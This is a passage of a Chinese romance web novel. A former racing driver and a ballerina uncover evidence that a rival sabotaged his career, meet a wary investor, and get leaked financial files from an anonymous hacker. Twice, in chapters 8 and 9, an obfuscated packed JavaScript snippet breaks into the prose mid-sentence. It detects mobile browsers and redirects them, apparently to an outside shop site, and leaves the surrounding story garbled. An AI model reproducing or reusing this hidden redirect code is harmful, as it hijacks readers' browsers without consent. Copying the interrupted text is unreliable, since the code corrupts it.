“那就一起对付。”江砚辞站起来,身姿笔直,像重新回到赛道的车手,“三年前我选择沉默,是因为母亲病重,我不想让她再担心。现在她给了我力量,我没有理由再后退。” 他看着苏晚晚,眼神柔软下来。 “但你……可以不用卷进来。这是江家的恩怨,你没必要——” “我早就卷进来了。”苏晚晚打断他,也站起来,与他平视,“从我在车库认出你的那一刻起,从我知道你母亲和我母亲说过类似的话起,从你教我如何在失控时呼吸起——” 她停顿,深吸一口气。 “江砚辞,这不是你一个人的战争。这是我选择的战场。” 江砚辞看着她的眼睛,那里面有一种他熟悉的、属于舞者登上舞台时的光芒——决绝、专注、义无反顾。 他伸出手,轻轻捧住她的脸。 “会很危险。”他低声说。 “我知道。”她微笑,“但跳黑天鹅的人,本来就是在刀刃上跳舞。” 他的拇指抚过她的脸颊,动作温柔得像触碰蝴蝶的翅膀。 然后他俯身,在她额头印下一个吻。 很轻,很短暂,但带着滚烫的温度。 苏晚晚闭上眼睛。额头上那个触感像烙印,刻进皮肤,刻进记忆。 “回国后,”江砚辞退开半步,但手还停留在她肩头,“先解决地皮的事。然后,我们一个一个来。” “好。”苏晚晚睁开眼睛,眼里有泪光,但笑容明亮,“我们一起。” 回酒店的出租车上,两人谁也没有说话。 但苏晚晚的手一直握着江砚辞的手,十指紧扣。 窗外,苏黎世的黄昏美得像一幅油画。夕阳给古老建筑镀上金色,电车叮当驶过石板路,鸽子在教堂钟楼下盘旋。 这个城市见证了一场母亲的守护,也见证了一个儿子重新站起的决心。 而苏晚晚知道,从今天起,她不再只是芭蕾舞者,也不再只是苏家的女儿。 她是这场战争里,江砚辞的战友。 也是他黑暗岁月里,终于等到的那一束光。 8. 第八章 第八章证据链与旧齿轮 从瑞士带回的U盘加了四层密码。 陈曜盘腿坐在修车铺二楼的地板上,三台笔记本电脑扇形排开,屏幕上滚动着十六进制的代码流。他嘴里咬着能量棒,含混不清地说:“你妈是真谨慎……军用级加密,自毁程序,输错三次自动格式化。” 江砚辞靠在窗边,手里拿着母亲的那不勒斯王后腕表。表冠轻轻转动,发条传来细微的咔哒声——苏晚晚今早上弦了,停了三年的指针重新开始走动。 “能破吗?”他问。 “能,但需要时间。”陈曜敲下一串命令,“不过我好奇的是,为什么你妈有这种级别的加密技术?这不像是普通家庭主妇会的。” 楼下传来卷帘门拉起的声音。苏晚晚提着早餐进来,塑料袋上印着“老郑便利店”的logo。她换了身浅灰色运动服,头发湿漉,像是刚晨练完。 “芭蕾舞者晨练都这么早?”陈曜探头。 “生物钟。”苏晚晚把豆浆油条放在工作台上,看向江砚辞,“你一夜没睡?” “睡了三个小时。”江砚辞收起腕表,“做了个梦。” “噩梦?” “不算。”他顿了顿,“梦到我二十岁,在墨尔本赢第一个分站赛。香槟喷到眼睛里,疼得流泪,但大家都在笑。” 苏晚晚静静看着他。晨光从他身后照进来,在睫毛下投出淡淡的阴影。有那么一瞬间,她仿佛真的看见了那个在香槟雨里又疼又笑的少年。 陈曜吹了声口哨,打破沉默:“好消息!第一层密码破了——是你第一次开卡丁车的日期,验证通过。” 第一台电脑屏幕亮起,显示出一个文件夹,标签是“财务往来”。 **上午九点,财务证据呈现在眼前。** 不是想象中简单的转账记录,而是一个完整的资金流向图。徐朗通过七个离岸公司接收来自瑞士Vogel公司的汇款,其中一笔五十万欧元的款项,标注着“牛津大学工程系捐赠基金——指定奖学金”。 “他儿子。”苏晚晚指着那条记录,“徐朗的儿子徐子轩,三年前拿到牛津全额奖学金。我当时还奇怪,他成绩虽然不错,但没到能拿‘罗德学者’级别奖学金的程度。” 江砚辞滑动鼠标,调出另一份文件:“这笔钱到账后一周,徐朗在车队内部会议上,第一次提出要‘优化’我的燃油传感器。” “贿赂的时间线对上了。”陈曜嚼着油条,“但光有这个还不够。我们需要他直接承认操控比赛的证据。” “继续破译。”江砚辞说。 第二层密码破译花了两个小时。这次是江砚辞父亲的忌日。 文件夹里是音频文件,标签让人心惊:“徐朗与Vogel代表通话录音——2019.7.12”。 苏晚晚戴上耳机,按下播放键。 **录音开始:** **徐朗(声音压低)**:“方案确定了吗?我要确保万无一失。” **男声(德语口音英语)**:“传感器会在第40圈触发报警,ECU自动进入保护模式。但我们需要一个……更明显的失效。你能不能在他进站换胎时做点手脚?” **徐朗**:“太明显了。维修区有几十个摄像头,还有FIA的技术官员盯着。” **男声**:“那就让失效看起来像自然磨损。我们需要的是‘他因车辆问题状态下滑’的舆论铺垫,为后续的药检丑闻做合理性铺垫。” **徐朗**(沉默几秒):“他母亲最近在查我。我担心她手里有东西。” **男声**(轻笑):“一个癌症晚期的女人,能有什么威胁?等她死了,她儿子也身败名裂,那些专利文件自然……很好处理。” **徐朗**:“她昨天去了瑞士。” **男声**(语气骤变):“瑞士?具体哪里?” **徐朗**:“不清楚,但她订了苏黎世的机票。我已经让人跟了。” **录音结束。** 苏晚晚摘下耳机,手在微微发抖。不是因为恐惧,是愤怒。 “他们连你母亲病重的事都知道。”她声音发冷,“还说得那么……轻描淡写。” 江砚辞的脸在屏幕冷光下像大理石刻出来的。他拿起桌上的M8螺栓,在指间转动,金属的凉意刺进皮肤。 “第三层密码。”他说。 陈曜点头,手指在键盘上飞舞。这次时间更长,直到下午一点才破解。 “是经纬度坐标。”他皱眉,“北纬47°22′,东经8°32′——苏黎世湖心的位置。这什么意思?” 江砚辞盯着那串数字,突然站起来,走到书架前抽出一本旧相册。翻到某一页——母亲年轻时在苏黎世湖游船上的照片,背面手写着一行小字:“和静文在湖心,1985.6.15,经纬度留个纪念。” “是我妈和林教授的纪念日。”他说。 第三层文件夹里只有一个视频文件,标题是:“给小辞的最后一段话。” **视频开始。** 江美玲坐在家中书房,穿着淡紫色毛衣,头发因化疗稀疏,但梳得整齐。她对着镜头微笑,笑容里有掩不住的疲惫。 “小辞,如果你看到这个,说明妈妈已经不在你身边了。” 她的声音很轻,但每个字都清晰。 “首先,不要哭。妈妈这辈子最骄傲的事,就是有你这样的儿子。你善良、正直、有天赋,和你爸爸一模一样。” 镜头外传来咳嗽声,她停顿,喝了口水。 “徐朗的事,妈妈都知道。你爸爸留下的算法手稿,我复印了三份。一份存在瑞士银行,一份给了静文,还有一份……我寄给了你大学时的导师,李教授。他是个正直的人,答应我会在合适的时候交给你。” 她凑近镜头,眼睛直视,仿佛能穿透时空。 “你要记住,这个算法的核心不是数学公式,是你爸爸的一句话:‘技术应该服务于人,而不是奴役人。’徐朗和那些人要拿它去垄断市场,去控制行业,那违背了你爸爸研发它的初衷。” 又是一阵咳嗽,这次更剧烈。她用手帕捂住嘴,再拿开时,上面有淡淡的红色。 “妈妈时间不多了,但有些事必须交代。陆远集团的陆文渊,你小心他。他和徐朗有联系,而且他对苏家的女儿……好像有不该有的念头。如果你遇到那个姑娘,帮妈妈照顾她一下。她母亲和我曾是朋友,只是后来……” 她没说完,转头看向窗外。阳光照在她侧脸上,能看见皮肤下青色的血管。 “最后,小辞,妈妈希望你做一件事——重新回到你热爱的事里去。赛车也好,修车也好,研发也好。不要因为别人的肮脏,就放弃自己的光芒。” 她对着镜头伸出手,仿佛要触摸儿子的脸。 “你永远是我的冠军。” 视频结束。 修车铺里静得能听见远处街道的车辆声。 苏晚晚第一个动了。她走到江砚辞身后,手轻轻放在他肩上。隔着衣服,她能感觉到他肌肉的紧绷,和压抑的颤抖。 “她连我都提到了。”苏晚晚轻声说,“我妈妈和她……是朋友?” 江砚辞握住她的手,很用力,像溺水的人抓住浮木。 “我不知道。”他声音沙哑,“她从没提过。” 陈曜默默合上电脑,起身:“我下楼看看轮胎店的老K,你们……需要时间。” 门轻轻关上。 阳光从窗户斜射进来,在水泥地上划出明亮的光斑。灰尘在光柱中飞舞,像细小的星辰。 江砚辞转身,把脸埋进苏晚晚肩窝。没有声音,但她的衣料慢慢湿了一小片。 她环抱住他,手在他后背轻轻拍打,像安抚孩子。 “她爱你。”苏晚晚低声说,“用尽了所有力气爱你。” “我应该更早发现的。”江砚辞的声音闷在她肩上,“她咳嗽,消瘦,还总说‘没事’。我应该强迫她去医院,应该陪着她,而不是满世界比赛……” “她不会希望你那么做。”苏晚晚捧起他的脸,看着他通红的眼睛,“她最想看到的,就是你在赛道上赢。那是她撑下去的动力。” 江砚辞闭上眼睛,泪水从眼角滑落。 苏晚晚用拇指轻轻擦去。 这一刻,他们之间没有赛车,没有芭蕾,没有阴谋和证据。只有一个失去母亲的男人,和一个想给他安慰的女人。 下午三点,情绪平复后,工作继续。 陈曜带回来一个消息:“老K说,最近有几辆陌生车牌的车在巷子口转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“两小时后。”江砚辞走到她面前,从口袋里掏出那枚齿轮瓷片——唐果送的礼物,“这个给你。如果遇到危险,或者需要紧急联络,去老K的轮胎店,把这个给他看。他会帮你。” 苏晚晚接过,瓷片边缘温润,齿轮冰冷。 “你也要小心。”她说,“李教授那边……未必安全。” “我知道。”江砚辞看着她,目光深邃,“苏晚晚,有件事我想告诉你。” “嗯?” “在瑞士,我说遇见你之后,时间重新开始流动。”他顿了顿,“其实不止。你让我想起了……我为什么喜欢赛车。” 苏晚晚怔住。 “不是因为赢,不是因为快。”江砚辞轻声说,“是因为在极限状态下,我能感觉到自己百分之百地活着。每一个神经元都在放电,每一次呼吸都有意义。那种感觉……和你跳舞时一样吧?” 苏晚晚的喉咙发紧:“你怎么知道?” “因为我见过。”江砚辞笑了,笑容很淡,但真实,“在你废弃的舞蹈教室,你对着镜子旋转的时候。那一刻你眼里有光,和我第一次摸到方向盘时,眼里的一模一样。” 她鼻子一酸。 “所以答应我,”江砚辞伸手,轻轻碰了碰她左肩旧伤的位置,“不管发生什么,保护好这个让你发光的东西。就像我会保护好方向盘。” “我答应你。”苏晚晚握住他的手,“你也要答应我,平安回来。” “嗯。” 他们没有拥抱,没有亲吻,只是这样握着手,在空旷的舞蹈房里,在镜子的无数倒影中。 许久,江砚辞松开手,提起行李袋。 “等我回来,”他说,“教你真正的32圈。” “我等着。” 他转身离开。脚步声在走廊里渐行渐远。 苏晚晚走到窗边,看着他走出剧院,坐进陈曜的车。车子驶入暮色,尾灯在街道拐角处一闪,消失。 她握紧手中的齿轮瓷片。 镜子里的她,眼神逐渐变得坚硬。 明天要见陆文渊。 一场新的舞蹈,开始了。 9. 第九章 第九章试探与齿轮的暗语 陆文渊把下午茶约在了他新开的画廊。 地点选得很有意味——南城艺术区一栋改建的民国银行金库,厚重的大理石柱、挑高八米的穹顶,现在挂满了前卫的装置艺术。入口处最显眼的位置,陈列着一件名为《枷锁》的作品:用赛车安全带和芭蕾舞缎带交织缠绕,锁在一副生锈的齿轮上。 苏晚晚站在作品前看了三秒,径直走向预约的包厢。 陆文渊已经到了。他穿着浅灰色三件套西装,没打领带,衬衫领口松开一粒扣子,正用银质茶匙慢条斯理地搅拌红茶。见她进来,起身,笑容得体得像奢侈品广告里的模特。 “晚晚,好久不见。”他伸手。 苏晚晚虚握了一下,指尖碰触即分:“陆先生,打扰了。” “叫我文渊就好。”他拉开椅子,“你父亲上周还提起你,说你在准备新舞剧。是《天鹅湖》的改编?” “现代舞,关于机械与身体。”苏晚晚坐下,侍者适时递上菜单,“想申请艺术基金,需要赞助方推荐。” “小事。”陆文渊靠回椅背,目光在她脸上停留片刻,“不过晚晚,以你的家世和名气,应该不缺赞助。为什么特意找我?” 来了。第一道试探。 苏晚晚端起茶杯,借氤氲的热气遮掩表情:“因为你的画廊最近在推‘科技与艺术’的主题。我的新舞剧正好契合——用身体模拟机械运动,探讨工业时代的人体异化。” 半真半假。新舞剧确实在构思,但她根本没打算真的排。 陆文渊笑了,笑意没到眼底:“很先锋的选题。需要我引荐策展人吗?柏林戏剧节的艺术总监下个月来中国,我可以安排饭局。” “那太好了。”苏晚晚从包里拿出平板,调出几张概念草图——是她昨晚熬夜画的,赛车方向盘与芭蕾把杆的变形融合,“这是初步设计。舞者会穿着改装过的赛车服跳舞,动作融入赛车手的肢体语言。” 陆文渊接过平板,手指滑动。他看得很仔细,甚至放大了某个细节。 “这个肩部的设计,”他指着草图,“为什么用碳纤维材质?会影响舞者活动吧。” “正是要那种束缚感。”苏晚晚说,“舞者需要突破材质的限制,就像赛车手突破物理极限。疼痛与挣脱,是表演的一部分。” 她说完,心里微微一紧。这个解释太像在隐喻什么了。 但陆文渊只是点头,把平板还给她:“很有意思。不过晚晚,你最近好像对赛车领域特别感兴趣?” 第二道试探,更直接了。 苏晚晚迎上他的目光:“因为认识了个人。一个修车铺老板,以前是赛车手。他教了我一些……身体控制的方法,对我跳舞有帮助。” 她主动提起江砚辞。这是险招,但也是最自然的掩护——如果完全回避,反而可疑。 陆文渊的眉毛几不可察地挑了一下。 “修车铺老板。”他重复这个词,语气听不出情绪,“你是说……江砚辞?” “陆先生认识他?” “听说过。”陆文渊端起茶杯,抿了一口,“三年前那桩丑闻,闹得挺大。不过晚晚,那种人还是少接触为好。他背景复杂,牵扯的事太多。” “比如?”苏晚晚假装好奇。 “比如……”陆文渊放下茶杯,瓷器碰撞发出清脆的声响,“他父亲的死,他母亲的病,还有他那个惹了官司的专利。一滩浑水,你踩进去,鞋子就脏了。” 话说得温柔,但字字带刺。 苏晚晚笑了笑:“我只是学点技术,不深入私事。跳舞的人,身体就是工具,多学一种控制工具的方法没坏处。” “那就好。”陆文渊靠回椅背,话题一转,“说到专利,我最近也在看汽车科技领域的投资。听说江砚辞手里有个算法,挺有价值的。你跟他学技术时,有没有听他提过?” 来了。真正的目的。 苏晚晚心里冷笑,面上却露出茫然:“算法?修车需要算法吗?我以为就是扳手和机油。” 陆文渊盯着她看了两秒,突然笑出声:“也是。我职业病,看什么都想着商业价值。不该拿这些无聊的事烦你。” 他招手叫来侍者,低声吩咐几句。很快,侍者捧来一个细长的丝绒盒子。 “见面礼。”陆文渊打开盒子,里面是一支万宝龙的艺术赞助人系列钢笔,笔杆镶嵌青金石和贝母,笔尖雕刻着精细的天鹅图案,“听说你习惯手写编舞笔记。这支笔的设计师,和你一样痴迷天鹅主题。” 过于昂贵的礼物,带着明显的施压意味。 苏晚晚没接:“太贵重了,不合适。” “收下吧。”陆文渊把盒子推过来,“就当是……预付的赞助诚意。你的舞剧,我投了。” 他站起身,整理西装袖口:“我还有个会,先走一步。账单已经结过,你可以慢慢坐。” 走到包厢门口,他停住,回头。 “对了晚晚,”他声音很轻,“如果你那个修车铺朋友需要法律援助,我可以介绍律师。毕竟……他可能快用上了。” 门轻轻关上。 苏晚晚坐在原地,手指在桌下慢慢握紧。 钢笔盒在灯光下泛着冷冽的光。她打开,拿起笔,笔杆触感温润,但底端刻着一行极小的字:**“To my black swan.”** 我的黑天鹅。 一股寒意顺着脊椎爬上来。 **同一时间,北京。** 清华大学的自动驾驶实验室里,李教授看着眼前的不速之客,眼镜后的眼睛瞪大了。 “砚辞?真的是你?” 江砚辞摘下口罩和帽子,露出脸:“李老师,好久不见。” 陈曜跟在后面,好奇地打量满墙的专利证书和奖杯。 “你……你怎么来了?”李教授赶紧关上办公室门,压低声音,“徐朗的人前段时间还来打听过你。你现在露面太危险了!” “我知道。”江砚辞直入主题,“我妈留给您的东西,还在吗?” 李教授愣住了。他走到书架前,抽出一本厚重的《车辆动力学原理》,翻开,书页被挖空,里面藏着一个U盘。 “你母亲三年前寄来的。”他把U盘递给江砚辞,“嘱咐我,除非你亲自来取,否则谁都不能给。徐朗来找过我三次,我都没承认。” 江砚辞接过U盘,金属外壳冰凉:“谢谢您。” “别说这些。”李教授叹气,“你父亲是我的硕士导师,你母亲是我师母。当年的事……我没能帮上忙,一直很愧疚。” “您保住这个,就是最大的帮忙。”江砚辞把U盘收好,“里面是什么?” “你父亲算法手稿的完整版,还有他未发表的几篇论文。”李教授坐到电脑前,调出一份文件,“但更重要的是——你父亲去世前三个月,给我发过一封邮件。” 屏幕上显示出一封2016年的邮件。 **发件人:江振华** **标题:关于算法商业化的一些担忧** 邮件正文: “静文,见字如面。 徐朗最近频繁接触国外资本,想把我研发的车辆动态控制算法打包出售。我明确拒绝了,因为这个算法的核心价值在于开源和标准化,垄断会阻碍整个行业的安全进步。 但徐朗似乎不死心。他今天暗示,如果我不配合,可能会‘发生一些不愉快的事’。 如果我出了意外,请务必保管好研究手稿。技术应该属于全人类,而不是某个寡头。 替我照顾美玲和小辞。 振华绝笔” 邮件的发送日期,是江父车祸前一周。 江砚辞盯着屏幕,血液一点点冷下去。 “你父亲的车祸,”李教授声音沉重,“当时鉴定结果是刹车系统老化。但我后来托交警队的朋友查过,那辆车的刹车片,在事故前两周刚换过原厂件。” “有人动了手脚。”陈曜说。 “徐朗当时是你父亲的研究助理,有车辆的备用钥匙。”李教授摘下眼镜,揉着眉心,“但我没有证据。而且那时候,你母亲已经病了,你刚进F1青训营……我不想让你们分心。” 办公室里安静得能听见服务器机箱的风扇声。 江砚辞闭上眼睛。三年前的污名,更久以前父亲的车祸,母亲的病重和远走瑞士……所有碎片终于拼成完整的图景。 徐朗要的不只是专利,是要彻底抹去江家在这个领域的存在。父亲不给,就制造“意外”;儿子崛起,就设计丑闻;母亲调查,就用病情拖垮她。 一场持续多年的、系统的清除。 “李老师,”江砚辞睁开眼,眼神冷得像淬火的钢,“我需要您帮我一个忙。” “你说。” “以清华实验室的名义,发表一篇论文,公开我父亲算法的基础理论部分。”江砚辞说,“既然他们想垄断,我们就让技术彻底公开。开源、标准化,就像我父亲希望的那样。” 李教授怔住,随即眼睛亮了:“好!这样就算他们拿到专利,也失去了垄断的价值。我马上组织团队,一周内就能出预印本。” “还有,”江砚辞从背包里拿出从瑞士带回的证据复印件,“这些材料,我想通过您的渠道,递交到科技部和工信部。徐朗和境外资本勾结,企图控制国内核心技术,这已经超出商业竞争的范畴了。” “交给我。”李教授郑重接过,“我在部委有几个学生,信得过。” 离开实验室时,已是傍晚。 陈曜开车,江砚辞坐在副驾驶,看着窗外掠过的北京街景。华灯初上,车流如织。 “你刚才说的开源计划,”陈曜突然开口,“会彻底断掉这个技术的商业价值。你自己不想用这个赚钱?” “我父亲研发它,是为了让行车更安全。”江砚辞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004276|194002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说,“如果用它赚钱,也该是靠它拯救的生命来赚,而不是靠垄断和勒索。” 陈曜笑了:“你和你爸真像。当年他拒绝宝马的天价收购,也是这么说——‘技术没有国界,但工程师有良心’。” 车子驶上机场高速,准备连夜飞回南城。 江砚辞的手机震动,是苏晚晚发来的消息: **“见完陆文渊了。他送了支笔,刻着‘给我的黑天鹅’。有点恶心,但计划顺利。你那边如何?”** 他打字回复: **“拿到父亲完整手稿,决定将算法开源。李教授帮忙递材料。明早到家。”** 停顿几秒,他又加了一句: **“笔扔了,我给你买新的。”** 发送。 过了一会儿,苏晚晚回复: **“没扔,留着当证据。等你回来,我要听完整的故事。”** 后面跟着一个小天鹅的表情。 江砚辞看着那个表情,嘴角不自觉地弯了一下。 陈曜瞥见了,啧啧两声:“哟,江老板也会笑啊。” “专心开车。” “得嘞。”陈曜打了个方向盘,“不过说真的,那姑娘挺不错的。冒着风险接近陆文渊,一般人没这胆量。” 江砚辞没接话,只是又看了一眼手机屏幕。 小天鹅在对话框里安静地浮着。 他突然想起母亲视频里的话:“如果你遇到那个姑娘,帮妈妈照顾她一下。” 也许母亲早就预感到了什么。 **深夜,南城。** 苏晚晚没睡。她坐在舞蹈房地板上,面前摊着陆文渊送的那支钢笔。笔杆在月光下泛着幽蓝的光。 手机屏幕亮着,是和唐果的聊天界面: **唐果**:“陆文渊那孙子真刻字了?太变态了吧!” **苏晚晚**:“嗯。但这不是重点。他今天特意提到江砚辞父亲的死,还有他母亲的病。感觉他知道的比我们想象的还多。” **唐果**:“要我查他吗?我考古圈的朋友有做家族史研究的,说不定能扒出点黑料。” **苏晚晚**:“小心点。陆家背景很深。” **唐果**:“放心,我是专业的。对了,江砚辞明天回来?” **苏晚晚**:“嗯。” **唐果**:“那你可得好好安慰人家。我今天听老K说了点事……关于江砚辞他爸车祸的细节,挺难受的。” 苏晚晚的手指停在屏幕上。 **苏晚晚**:“什么细节?” **唐果**:“老K说,江爸爸出事那天,原本要去给江砚辞开家长会。江砚辞那时候刚拿了全市卡丁车冠军,学校要颁奖。结果爸爸没来,他一个人站在台上,手里拿着奖杯,眼睛一直盯着礼堂门口。” 苏晚晚的胸口一阵发闷。 **唐果**:“后来他再也没参加过任何颁奖礼。哪怕拿了F1分站冠军,领奖台上也面无表情。老K说,他可能一直在等……等那个再也不会来的人。” 聊天记录到此为止。 苏晚晚放下手机,走到窗边。夜色深沉,远处修车铺的方向一片漆黑。 她想起江砚辞在瑞士银行看母亲遗物时颤抖的肩膀,想起他说“我应该更早发现”时的哽咽。 这个男人的心里,到底还藏着多少这样的夜晚? 手机又震了一下。这次是江砚辞: **“飞机延误,明早八点到。别等我,先睡。”** 苏晚晚回复: **“好。落地告诉我。”** 她想了想,又加了一句: **“明天我给你做早餐。老郑说,你以前最爱吃他店的豆沙包。”** 发送。 这次江砚辞回得很快: **“你还打听这个?”** **苏晚晚**:“嗯。想多了解你一点。” **江砚辞**:“那明天告诉你,为什么是豆沙包。” **苏晚晚**:“好。” 对话暂停。 苏晚晚握着手机,在窗边站了很久。直到东方泛起鱼肚白,她才回到地板上,拿起那支刻字的钢笔。 笔尖在便签纸上划过,写下一行字: **“齿轮转动,天鹅振翅。黑暗再长,黎明总会来。”** 她把便签折成纸鹤,放在窗台上。 晨光渐渐漫进来,纸鹤的翅膀被染成淡金色。 而城市另一端,陆文渊站在自家别墅的露台上,手里拿着望远镜,正对着苏晚晚舞蹈房的方向。 他看见窗边的身影,看见那盏亮了一夜的灯。 嘴角勾起一抹玩味的笑。 “黑天鹅。”他低声自语,“我倒要看看,你能跳出多美的舞。” 望远镜的镜头,在晨光中反射出冰冷的光泽。 10. 第十章 第十章豆沙包与匿名代码 清晨七点半,修车铺二楼飘出豆沙包的甜香。 苏晚晚系着围裙站在狭小的厨房里,蒸笼冒着白汽。她按照老郑给的“秘方”——红豆要浸泡六小时,砂糖分三次加入,猪油不能省——但第一次做,成品还是有点塌,馅料漏出来粘在笼屉上。 卷帘门拉开的声音传来。 她关火,擦手,快步下楼。江砚辞站在门口,风尘仆仆,眼下有淡淡的青黑,但眼睛很亮。陈曜跟在他身后,拖着一个黑色行李箱。 “欢迎回来。”苏晚晚说。 江砚辞看着她,又抬头看看二楼:“你在做饭?” “尝试。”苏晚晚有点不好意思,“可能不太成功。” 陈曜嗅了嗅空气:“豆沙包!我能蹭一个吗?” “都上来吧。” 二楼其实不算正经住处,只是用夹层隔出的小空间,一张床、一个工作台、一个简易厨房。但此刻,蒸笼的热气让这里有了些烟火气。 苏晚晚端出包子,又冲了三杯速溶咖啡。陈曜不客气地抓起一个咬下,烫得直哈气:“好吃!就是皮有点厚……” 江砚辞拿起一个,手指在温热的包子上停留片刻,才掰开。豆沙馅流淌出来,深红色,甜腻的香气弥漫开。 “为什么是豆沙包?”苏晚晚问,在他对面坐下。 江砚辞咬了一口,慢慢咀嚼。晨光从窗户斜射进来,照亮空气中飞舞的微尘。 “我父亲做的豆沙包很好吃。”他开口,声音有些低,“他以前是公交车司机,早班四点就得出车。但每周六我练卡丁车回来,他都会提前下班,在家做豆沙包等我。” 他顿了顿,又咬了一口。 “红豆是他老家带来的,说那边的豆子甜。糖放得不多,他说吃太甜对运动员不好。我每次都嫌不够甜,偷偷加白糖。” 苏晚晚安静地听着。 “他车祸那天,也是周六。”江砚辞看着手里的包子,“我练完车回家,厨房里蒸笼还冒着气,豆沙馅拌了一半,放在灶台上。他接到临时加班通知,急着出门……没关火。” 陈曜放下了手里的包子。 “锅烧干了,烟触发了报警器。”江砚辞说,“我回到家时,消防车刚走。厨房熏黑了,蒸笼里的包子全焦了,只有那一盆半成品豆沙馅……还好好的。” 他抬起头,眼睛有些红,但没哭。 “后来我就只吃豆沙包。老郑店的配方,是我凭记忆还原的。但怎么也做不出那个味道。” 苏晚晚伸出手,覆在他手背上。他的手指冰凉。 “所以你每次吃豆沙包,”她轻声说,“都是在纪念他。” “也是在提醒自己。”江砚辞反握住她的手,很用力,“提醒我,有些人来不及道别就消失了。有些事,不能等到明天再做。” 空气安静了几秒,只有远处街道传来的车声。 陈曜清了清嗓子,站起身:“那个……我突然想起轮胎店还有点事。你们聊,我先撤。” 他快步下楼,卷帘门拉开又关上。 小小的空间里只剩下两个人。 苏晚晚没抽回手,任由他握着。他的掌心有茧,温暖而粗糙。 “北京顺利吗?”她问。 “嗯。”江砚辞松开手,从背包里拿出U盘,“父亲完整的手稿,还有他未发表的论文。李教授已经在组织团队,一周内公开基础理论部分。” “开源计划会激怒徐朗和Vogel公司。” “我知道。”江砚辞眼神沉静,“但这是切断他们垄断念想的最快方法。技术一旦公开,专利的价值就会大打折扣。” 苏晚晚点头,从抽屉里拿出陆文渊送的那支钢笔:“他昨天透露了一些信息——知道你父亲的死,知道你母亲的病,语气很微妙。而且……” 她把笔递过去:“刻了字。” 江砚辞接过笔,看着底端那行“To my black swan”,眼神冷下来。 “他在试探你。”他说,“也在警告。” “我知道。”苏晚晚拿回笔,放进证据袋,“但这也说明,他急了。我们的动作,已经触动了某些神经。” 江砚辞打开笔记本电脑,插入U盘。屏幕亮起,密密麻麻的代码和公式滚动。 “我需要两天时间整理这些材料。”他说,“然后正式向FIA和国际体育仲裁庭提交重审申请。周予琛律师已经准备好了法律文件。” “这两天,我帮你。”苏晚晚说,“我虽然不懂代码,但可以整理文字材料,做时间线梳理。” 江砚辞看着她,眼神柔软下来。 “你不用——” “我想。”苏晚晚打断他,语气坚定,“而且,我需要学点新东西。万一以后你教我赛车时,我连ECU是什么都不知道,太丢人了。” 江砚辞笑了,很淡的笑,但眼角的细纹舒展了些。 “好。”他说,“那我们从最基础的开始。” 接下来的四十八小时,修车铺二楼变成了临时指挥中心。 三台电脑同时运行,一台解析算法代码,一台整理证据链,一台监控网络动态。苏晚晚负责把录音转成文字稿,标注关键时间点。江砚辞和陈曜负责技术部分。 第二天凌晨三点,苏晚晚趴在工作台上睡着了,手里还握着笔。江砚辞轻轻抽走笔,把外套披在她肩上。 陈曜从屏幕前抬起头,压低声音:“有个问题。” “说。” “我们整理的这些证据,理论上应该能扳倒徐朗。”陈曜皱眉,“但Vogel公司那边,他们的法律团队很强。而且欧洲那边……取证太难了。” “所以我们需要一个突破口。”江砚辞走到窗边,看着外面沉睡的街道,“一个能直接证明他们恶意操纵比赛的铁证。” “那个变声的通话录音还不够?” “不够。”江砚辞摇头,“对方可以否认声音身份,可以说录音伪造。我们需要……银行转账的原始凭证,或者内部邮件往来。” 陈曜叹气:“那种东西,除非黑进他们服务器——” 他话没说完,突然愣住了。 江砚辞也察觉到了异样——三号电脑的屏幕,正在自动滚动代码。不是他们编写的程序。 有人远程接入。 “别动。”江砚辞低声说,手指悬在键盘上方。 屏幕上的代码流越来越快,最后定格在一个文件夹目录上。目录名称是德文:**“Projekt Phantom – Finanzdokumente”(幻影项目-财务文件)** 下面列出了十几个子文件夹,标注着日期和金额。最新的一份,日期是三天前,转账金额200万欧元,汇款方Vogel AG,收款方……一个中文拼音的账户,署名Xu Lang。 徐朗。 陈曜倒吸一口凉气:“这……这是他们的内部财务系统?” “有人黑进去了。”江砚辞盯着屏幕,“而且把权限开放给了我们。” 就在这时,屏幕右下角弹出一个加密聊天窗口。纯黑色背景,白色文字: **匿名者A:文件夹已解锁,保留72小时。原始数据包已备份至云端,密钥发到你邮箱。 匿名者A:小心徐朗。他雇了人,明天会去轮胎店找麻烦。 匿名者A:苏小姐舞蹈房对面的监视点,已处理。** 消息显示三秒后自动消失,没有留下任何痕迹。 江砚辞迅速检查系统日志——没有入侵记录,没有IP追踪,就像幽灵来过。 陈曜瞪大眼睛:“这谁啊?技术这么牛逼?” 江砚辞没回答,快步走到另一台电脑前,登录邮箱。收件箱里果然有一封新邮件,发件人是一串乱码,附件是一个加密压缩包,解压密码是他母亲的生日。 解压后,里面是完整的财务往来记录,从三年前徐朗第一次接触Vogel公司,到最近一笔汇款。每笔都有银行水单扫描件、合同副本、甚至还有几封内部邮件截图。 其中一封邮件让江砚辞瞳孔收缩—— **发件人:Vogel Legal Dept. 收件人:CEO 主题:关于中国车手江砚辞的后续处理建议 正文: “徐朗确认江已无法构成威胁。建议执行B计划:通过苏氏航运的陆文渊,获取港口地块,建立我们在华南的研发中心。陆的条件是——要苏家的女儿。”** 日期:六个月前。 苏晚晚不知什么时候醒了,站在江砚辞身后,也看到了这封邮件。 她的脸色一点点苍白。 “陆文渊……”她低声说,“他接近我,不只是因为兴趣,还是……交易的一部分。” 江砚辞握住她的手,发现她指尖冰凉。 “没事。”他说,“现在我们知道他的底牌了。” “但这个匿名者……”苏晚晚看向屏幕,“是谁?为什么帮我们?” 